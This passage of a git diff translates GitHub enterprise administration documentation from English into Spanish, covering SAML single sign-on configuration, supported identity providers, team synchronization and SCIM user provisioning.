+{% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} Para obtener más información, consulta la sección "[Configurar el inicio de sesión único de SAML en tu empresa](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)".
 
-After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. {% data reusables.scim.enterprise-account-scim %}
+Después de que habilites el SSO de SAML, dependiendo del IdP que utilizas, debes poder habilitar las características de administración de acceso y de identidad adicionales. {% data reusables.scim.enterprise-account-scim %}
 
-If you use Azure AD as your IDP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} For more information, see "[Managing team synchronization for organizations in your enterprise account](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+Si utilizas Azure AD como tu IdP, puedes utilizar la sincronización de equipos para administrar la membresía del equipo dentro de cada organización. {% data reusables.identity-and-permissions.about-team-sync %} Para obtener más información, consulta la sección "[Administrar la sincronización de equipos para las organizaciones de tu cuenta empresarial](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)".
 
-{% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
+{% data reusables.saml.switching-from-org-to-enterprise %} Para obtener más información, consulta la sección "[Cambiar tu configuración de SAML de una cuenta de organización a una de empresa](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)".
 
-## About {% data variables.product.prodname_emus %}
+## Acerca de {% data variables.product.prodname_emus %}
 
 {% data reusables.enterprise-accounts.emu-short-summary %}
 
-Configuring {% data variables.product.prodname_emus %} for SAML single-sign on and user provisioning involves following a different process than you would for an enterprise that isn't using {% data variables.product.prodname_managed_users %}. If your enterprise uses {% data variables.product.prodname_emus %}, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
+El configurar las {% data variables.product.prodname_emus %} para el inicio de sesión único de SAML y utilizar el aprovisionamiento involucra seguir un proceso diferente al que se llevaría para una empresa que no está utilizando {% data variables.product.prodname_managed_users %}. Si tu empresa utiliza {% data variables.product.prodname_emus %}, consulta la sección "[Configurar el inicio de sesión único de SAML para los Usuarios Administrados de Enterprise](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)".
 
-## Supported IdPs
+## IdP compatibles
 
-We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website.
+Probamos y damos compatibilidad oficial de los siguientes IdP. Para el SSO de SAML, ofrecemos soporte limitado para todos los proveedores de identidad que implementan el SAML 2.0 estándar. Para obtener más información, consulta la sección [Wiki de SAML](https://wiki.oasis-open.org/security) en el sitio web de OASIS.
 
-IdP | SAML | Team synchronization | 
---- | :--: | :-------: |
-Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %}  | |
-Azure Active Directory (Azure AD) | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %} |
-OneLogin | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-PingOne | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-Shibboleth | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
+| IdP                                          |                              SAML                              |                   Sincronización de equipos                   |
+| -------------------------------------------- |:--------------------------------------------------------------:|:-------------------------------------------------------------:|
+| Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} |                                                               |
+| Azure Active Directory (Azure AD)            | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %}
+| OneLogin                                     | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| PingOne                                      | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| Shibboleth                                   | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
 
 {% elsif ghae %}
 
-{% data reusables.saml.ae-uses-saml-sso %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
+{% data reusables.saml.ae-uses-saml-sso %}{% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.product.product_location %} by assigning the application to users and groups on your IdP. For more information about SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)."
+Después de configurar la aplicación de {% data variables.product.product_name %} en tu proveedor de identidad (IdP), puedes aprovisionar el acceso a {% data variables.product.product_location %} si asignas la aplicación a los usuarios y grupos de tu IdP. Para obtener más información acerca del SSO de SAML para {% data variables.product.product_name %}, consulta la sección "[Configurar el inicio de sesión único de SAML para tu empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)".
 
-{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+{% data reusables.scim.after-you-configure-saml %} Para obtener más información, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
 
-To learn how to configure both authentication and user provisioning for {% data variables.product.product_location %} with your specific IdP, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)."
+Para aprender cómo configurar tanto la autenticación como el aprovisionamiento de usuarios para {% data variables.product.product_location %} con tu IdP específico, consulta la sección "[Configurar la autenticación y el aprovisionamiento con tu proveedor de identidad](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)".
 
-## Supported IdPs
+## IdP compatibles
 
-The following IdPs are officially supported for integration with {% data variables.product.prodname_ghe_managed %}.
+Los siguientes IdP son oficialmente compatibles para su integración con {% data variables.product.prodname_ghe_managed %}.
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
 {% data reusables.github-ae.saml-idp-table %}
 
-## Mapping {% data variables.product.prodname_ghe_managed %} teams to Okta groups
+## Mapear equipos de {% data variables.product.prodname_ghe_managed %} en grupos de Okta
 
-If you use Okta as your IdP, you can map your Okta groups to teams on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+Si utilizas Okta como tu IdP, puedes mapear grupos de Okta en los equipos de {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Mapear grupos de Okta en los equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".
 
 {% endif %}
 
-## Further reading
+## Leer más
 
-- [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website
-- [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website{% ifversion ghae %}
-- [Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %}
+- [Wiki de SAML](https://wiki.oasis-open.org/security) en el sitio de OASIS
+- [Sistema para la Administración de Identidad entre Dominios: Protocolo (RFC 7644)](https://tools.ietf.org/html/rfc7644) en el sitio web de IETF{% ifversion ghae %}
+- [Restringir el tráfico de red a tu empresa](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %}
diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
index 47bcd32449..53be7d8473 100644
--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
+++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
@@ -1,7 +1,6 @@
 ---
 title: Configuring SAML single sign-on for your enterprise using Okta
 intro: 'Puedes utilizar el inicio de sesión único (SSO, por sus siglas en inglés) del Lenguaje de Marcado para Confirmaciones (SAML, por sus siglas en inglés) con Okta para administrar automáticamente el acceso a tu cuenta empresarial en {% data variables.product.product_name %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta
   - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
index e3b193572b..c63d4301d0 100644
--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring SAML single sign-on for your enterprise
-shortTitle: Configure SAML SSO
-intro: 'You can control and secure access to {% ifversion ghec %}resources like repositories, issues, and pull requests within your enterprise''s organizations{% elsif ghae %}your enterprise on {% data variables.product.prodname_ghe_managed %}{% endif %} by {% ifversion ghec %}enforcing{% elsif ghae %}configuring{% endif %} SAML single sign-on (SSO) through your identity provider (IdP).'
+title: Configurar el inicio de sesión único de SAML para tu empresa
+shortTitle: Configurar el SSO de SAML
+intro: 'Puedes controlar el acceso seguro a {% ifversion ghec %}los recursos como repositorios, propuestas y solicitudes de cambios dentro de las organizaciones de tu empresa{% elsif ghae %}tu empresa en {% data variables.product.prodname_ghe_managed %}{% endif %} si {% ifversion ghec %}requieres{% elsif ghae %}la configuración {% endif %}del inicio de sesión único (SSO) de SAML a través de tu proveedor de identidad (IdP).'
 permissions: 'Enterprise owners can configure SAML SSO for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghec: '*'
@@ -22,140 +22,128 @@ redirect_from:
 
 {% data reusables.enterprise-accounts.emu-saml-note %}
 
-## About SAML SSO for enterprise accounts
+## Acerca del SSO de SAML para tus cuentas empresariales
 
 {% ifversion ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
+{% data reusables.saml.dotcom-saml-explanation %}Para obtener más información, consulta "[Acerca de la administración de identidad y accesos con el inicio de sesión único de SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)".
 
 {% data reusables.saml.about-saml-enterprise-accounts %}
 
-{% data reusables.saml.about-saml-access-enterprise-account %} For more information, see "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+{% data reusables.saml.about-saml-access-enterprise-account %}Para obtener más información, consulta la sección "[Visualizar y administrar el acceso de SAML de un usuario a tu cuenta empresarial](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)".
 
 {% data reusables.scim.enterprise-account-scim %}
 
 {% elsif ghae %}
 
-SAML SSO allows you to centrally control and secure access to {% data variables.product.product_location %} from your SAML IdP. When an unauthenticated user visits {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect the user to your SAML IdP to authenticate. After the user successfully authenticates with an account on the IdP, the IdP redirects the user back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access to the user.
+El SSO de SAML te permite controlar centralmente y asegurar el acceso a {% data variables.product.product_location %}desde tu IdP de SAML. Cuando un usuario no autenticado vista {% data variables.product.product_location %} en un buscador, {% data variables.product.product_name %} lo redirigirá a tu IdP de SAML para autenticarse. Después de que el usuario se autentica exitosamente con una cuenta en el IdP, éste lo redirige de regreso a {% data variables.product.product_location %}. {% data variables.product.product_name %} valida la respuesta de tu IdP y luego le otorga acceso al usuario.
 
-After a user successfully authenticates on your IdP, the user's SAML session for {% data variables.product.product_location %} is active in the browser for 24 hours. After 24 hours, the user must authenticate again with your IdP.
+Después de autenticarse exitosamente en tu IdP, la sesión de SAML del usuario para {% data variables.product.product_location %} se encuentra activa en el buscador por 24 horas. Después de 24 horas, el usuario debe autenticarse nuevamente con tu IdP.
 
 {% data reusables.saml.assert-the-administrator-attribute %}
 
-{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+{% data reusables.scim.after-you-configure-saml %} Para obtener más información, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
 
 {% endif %}
 
-## Supported identity providers
+## Proveedores de identidad compatibles
 
 {% data reusables.saml.saml-supported-idps %}
 
 {% ifversion ghec %}
 
-## Enforcing SAML single-sign on for organizations in your enterprise account
+## Requerir el inicio de sesión único de SAML para las organizaciones en tu cuenta empresarial
 
 {% note %}
 
-**Notes:**
+**Notas:**
 
-- When you enforce SAML SSO for your enterprise, the enterprise configuration will override any existing organization-level SAML configurations. {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
-- When you enforce SAML SSO for an organization, {% data variables.product.company_short %} removes any members of the organization that have not authenticated successfully with your SAML IdP. When you require SAML SSO for your enterprise, {% data variables.product.company_short %} does not remove members of the enterprise that have not authenticated successfully with your SAML IdP. The next time a member accesses the enterprise's resources, the member must authenticate with your SAML IdP.
+- Cuando requieres el SSO de SAML para tu empresa, la configuración empresarial se superpondrá a cualquier configuración de SAML que exista a nivel organizacional. {% data reusables.saml.switching-from-org-to-enterprise %} Para obtener más información, consulta la sección "[Cambiar tu configuración de SAML de una cuenta de organización a una de empresa](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)".
+- Cuando requieres el SSO de SAML para una organización, {% data variables.product.company_short %} elimina cualquier miembro de la organización que no se haya autenticado con éxito en tu IdP de SAML. Cuando requieres el SSO de SAML para tu empresa, {% data variables.product.company_short %} no elimina a los miembros de dicha empresa que no se hayan autenticado exitosamente con tu IdP de SAML. La siguiente vez que un miembro acceda a los recursos empresariales, este deberá autenticarse con tu IdP de SAML.
 
 {% endnote %}
 
-For more detailed information about how to enable SAML using Okta, see "[Configuring SAML single sign-on for your enterprise account using Okta](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)."
+Para obtener información más detallada sobre cómo habilitar el SAML utilizando Okta, consulta la sección "[Configurar el inicio de sesión único de SAML para tu cuenta empresarial utilizando Okta](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)".
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
 4. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "SAML single sign-on", select **Require SAML authentication**.
-  ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
-6. In the **Sign on URL** field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
-![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png)
-7. Optionally, in the **Issuer** field, type your SAML issuer URL to verify the authenticity of sent messages.
-![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
-8. Under **Public Certificate**, paste a certificate to verify SAML responses.
-![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
-9. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer.
-![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
-10. Before enabling SAML SSO for your enterprise, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
-11. Click **Save**.
+5. En "Inicio de sesión único de SAML", selecciona **Requerir autenticación SAML**. ![Casilla de verificación para habilitar SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
+6. En el campo **URL de inicio de sesión**, escribe el extremo HTTPS de tu IdP para las solicitudes de inicio de sesión único. Este valor se encuentra en la configuración de tu IdP. ![Campo para la URL a la que los miembros serán redireccionados cuando inicien sesión](/assets/images/help/saml/saml_sign_on_url_business.png)
+7. Opcionalmente, en el campo **Emisor**, teclea tu URL de emisor de SAML para verificar la autenticidad de los mensajes enviados. ![Campo para el nombre del emisor SAML](/assets/images/help/saml/saml_issuer.png)
+8. En **Certificado público**, pega un certificado para verificar las respuestas de SAML. ![Campo para el certificado público de tu proveedor de identidad](/assets/images/help/saml/saml_public_certificate.png)
+9. Para verificar la integridad de las solicitudes de tu emisor de SAML, haz clic en {% octicon "pencil" aria-label="The edit icon" %}. Posteriormente, en los menús desplegables de "Método de firma" y "Método de resumen", elige el algoritmo de hash que utiliza tu emisor de SAML. ![Menús desplegables para los algoritmos de hash del Método de firma y del Método de resumen usados por tu emisor SAML](/assets/images/help/saml/saml_hashing_method.png)
+10. Antes de habilitar SAML SSO para tu empresa, haz clic en **Probar la configuración de SAML** para asegurarte de que la información que has ingresado sea correcta. ![Botón para probar la configuración de SAML antes de exigir el inicio de sesión único](/assets/images/help/saml/saml_test.png)
+11. Haz clic en **Save ** (guardar).
 
 {% elsif ghae %}
 
-## Enabling SAML SSO
+## Habilitar el SSO de SAML
 
 {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-The following IdPs provide documentation about configuring SAML SSO for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}.
+Los siguientes IdP proporcionan documentación sobre cómo configurar el SSO de SAML para {% data variables.product.product_name %}. Si no se lista tu IdP, por favor, contáctalo para solicitar soporte para {% data variables.product.product_name %}.
 
- | IdP | More information |
- | :- | :- |
- | Azure AD | [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs. To configure Azure AD for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)."  |
-| Okta (Beta) | To configure Okta for {% data variables.product.prodname_ghe_managed %}, see "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)."|
+ | IdP         | Más información                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+ |:----------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+ | Azure AD    | [Tutorial: Integración del inicio de sesión único (SSO) de Azure Active Directory con {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) en los Documentos de Microsoft. Para configurar a Azure AD para {% data variables.product.prodname_ghe_managed %}, consulta la sección "[Configurar la autenticación y aprovisionamiento para tu empresa utilizando Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)". |
+ | Okta (Beta) | Para configurar Okta para {% data variables.product.prodname_ghe_managed %}, consulta la sección "[Configurar la autenticación y el aprovisionamiento para tu empresa utilizando Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)".                                                                                                                                                                                                                                                                       |
 
-During initialization for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} as a SAML Service Provider (SP) on your IdP. You must enter several unique values on your IdP to configure {% data variables.product.product_name %} as a valid SP.
+Durante la inicialización para {% data variables.product.product_name %}, debes configurar a {% data variables.product.product_name %} como un proveedor de servicios (SP) de SAML en tu IdP. Debes ingresar varios valores únicos en tu IdP para configurar {% data variables.product.product_name %} como un SP válido.
 
-| Value | Other names | Description | Example |
-| :- | :- | :- | :- |
-| SP Entity ID | SP URL | Your top-level URL for {% data variables.product.prodname_ghe_managed %} | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em></code>
-| SP Assertion Consumer Service (ACS) URL | Reply URL | URL where IdP sends SAML responses | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/saml/consume</code> |
-| SP Single Sign-On (SSO) URL | | URL where IdP begins SSO |  <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/sso</code> |
+| Valor                                                     | Otros nombres    | Descripción                                                                       | Ejemplo                   |
+|:--------------------------------------------------------- |:---------------- |:--------------------------------------------------------------------------------- |:------------------------- |
+| ID de Entidad de SP                                       | URL de SP        | Tu URL de más alto nivel para {% data variables.product.prodname_ghe_managed %} | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em></code> |
+| URL del Servicio de Consumidor de Aserciones (ACS) del SP | URL de respuesta | URL a la que el IdP enviará respuestas de SAML                                    | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/saml/consume</code> |
+| URL de inicio de sesión único (SSO) del SP                |                  | URL en donde el IdP comienza con SSO                                              | <code>https://<em>YOUR-GITHUB-AE-HOSTNAME</em>/sso</code> |
 
-## Editing the SAML SSO configuration
+## Editar la configuración del SSO de SAML
 
-If the details for your IdP change, you'll need to edit the SAML SSO configuration for {% data variables.product.product_location %}. For example, if the certificate for your IdP expires, you can edit the value for the public certificate.
+Si los detalles de tu IdP cambian, necesitarás editar la configuración de SSO de SAML para {% data variables.product.product_location %}. Por ejemplo, si el certificado de tu IdP expira, puedes editar el valor del certificado público.
 
 {% ifversion ghae %}
 
 {% note %}
 
-**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
-
-{% endnote %} 
-
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.settings-tab %}
-{% data reusables.enterprise-accounts.security-tab %}
-1. Under "SAML single sign-on", type the new details for your IdP.
-  ![Text entry fields with IdP details for SAML SSO configuration for an enterprise](/assets/images/help/saml/ae-edit-idp-details.png)
-1. Optionally, click {% octicon "pencil" aria-label="The edit icon" %} to configure a new signature or digest method.
-  ![Edit icon for changing signature and digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png)
-
-    - Use the drop-down menus and choose the new signature or digest method.
-      ![Drop-down menus for choosing a new signature or digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png)
-1. To ensure that the information you've entered is correct, click **Test SAML configuration**.
-  !["Test SAML configuration" button](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png)
-1. Click **Save**.
-    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-edit-idp-details-save.png)
-1. Optionally, to automatically provision and deprovision user accounts for {% data variables.product.product_location %}, reconfigure user provisioning with SCIM. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
-
-{% endif %}
-
-{% ifversion ghae %}
-
-## Disabling SAML SSO
-
-{% warning %}
-
-**Warning**: If you disable SAML SSO for {% data variables.product.product_location %}, users without existing SAML SSO sessions cannot sign into {% data variables.product.product_location %}. SAML SSO sessions on {% data variables.product.product_location %} end after 24 hours.
-
-{% endwarning %}
-
-{% note %}
-
-**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+**Nota**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
 
 {% endnote %}
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
-1. Under "SAML single sign-on", unselect **Enable SAML authentication**.
-  ![Checkbox for "Enable SAML authentication"](/assets/images/help/saml/ae-saml-disabled.png)
-1. To disable SAML SSO and require signing in with the built-in user account you created during initialization, click **Save**.
-    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-saml-disabled-save.png)
+1. Debajo de "Inicio de sesión único de SAML", teclea los detalles nuevos de tu IdP. ![Campos de entrada de texto con los detalles del IdP para la configuración del SSO de SAML para una empresa](/assets/images/help/saml/ae-edit-idp-details.png)
+1. Opcionalmente, da clic en {% octicon "pencil" aria-label="The edit icon" %} para configurar una firma nueva o método de resumen. ![Icono de editar para cambiar la firma y el método de resumen](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png)
+
+    - Utiliza los menús desplegables y elige la nueva firma o método de resumen. ![Menús desplegables para elegir una firma nueva o método de resumen](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png)
+1. Para garantizar que la información que ingresaste es correcta, da clic en **Probar la configuración de SAML**. ![Botón de "Probar la configuración de SAML"](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png)
+1. Haz clic en **Save ** (guardar). ![Botón de "Guardar" para la configuración del SSO de SAML](/assets/images/help/saml/ae-edit-idp-details-save.png)
+1. Opcionalmente, para aprovisionar y desaprovisionar automáticamente las cuentas de usuario para {% data variables.product.product_location %}, vuelve a configurar el aprovisionamiento de usuarios con SCIM. Para obtener más información, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)".
+
+{% endif %}
+
+{% ifversion ghae %}
+
+## Inhabilitar el SSO de SAML
+
+{% warning %}
+
+**Advertencia**: Si inhabilitas el SSO de SAML para {% data variables.product.product_location %}, los usuarios sin sesiones existentes del SSO de SAML no podrán ingresar en {% data variables.product.product_location %}. Las sesiones del SSO de SAML en {% data variables.product.product_location %} finalizan después de 24 horas.
+
+{% endwarning %}
+
+{% note %}
+
+**Nota**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. En "inicio de sesión único SAML", deselecciona **Habilitar autenticación SAML**. ![Casilla de verificación para "Habilitar la autenticación de SAML"](/assets/images/help/saml/ae-saml-disabled.png)
+1. Para inhabilitar el SSO de SAML y requerir el inicio de sesión con la cuenta de usuario integrada que creaste durante la inicialización, da clic en **Guardar**. ![Botón de "Guardar" para la configuración del SSO de SAML](/assets/images/help/saml/ae-saml-disabled-save.png)
 
 {% endif %}
 
diff --git a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md
index 2f2984bc97..050c1bb214 100644
--- a/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md
+++ b/translations/es-ES/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Configuring user provisioning for your enterprise
-shortTitle: Configuring user provisioning
-intro: 'You can configure System for Cross-domain Identity Management (SCIM) for your enterprise, which automatically provisions user accounts on {% data variables.product.product_location %} when you assign the application for {% data variables.product.product_location %} to a user on your identity provider (IdP).'
+title: Configurar el aprovisionamiento de usuarios para tu empresa
+shortTitle: Configurar el aprovisionamiento de usuarios
+intro: 'Puedes configurar el Sistema para la Administración de Identidad entre Dominios (SCIM) para tu empresa, el cual aprovisiona las cuentas de usuario automáticamente en {% data variables.product.product_location %} cuando asignas la aplicación para {% data variables.product.product_location %} a un usuario en tu proveedor de identidad (IdP).'
 permissions: 'Enterprise owners can configure user provisioning for an enterprise on {% data variables.product.product_name %}.'
 versions:
   ghae: '*'
@@ -15,80 +15,79 @@ topics:
 redirect_from:
   - /admin/authentication/configuring-user-provisioning-for-your-enterprise
 ---
-## About user provisioning for your enterprise
 
-{% data reusables.saml.ae-uses-saml-sso %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)."
+## Acerca del aprovisionamiento de usuarios para tu empresa
 
-{% data reusables.scim.after-you-configure-saml %} For more information about SCIM, see [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website.
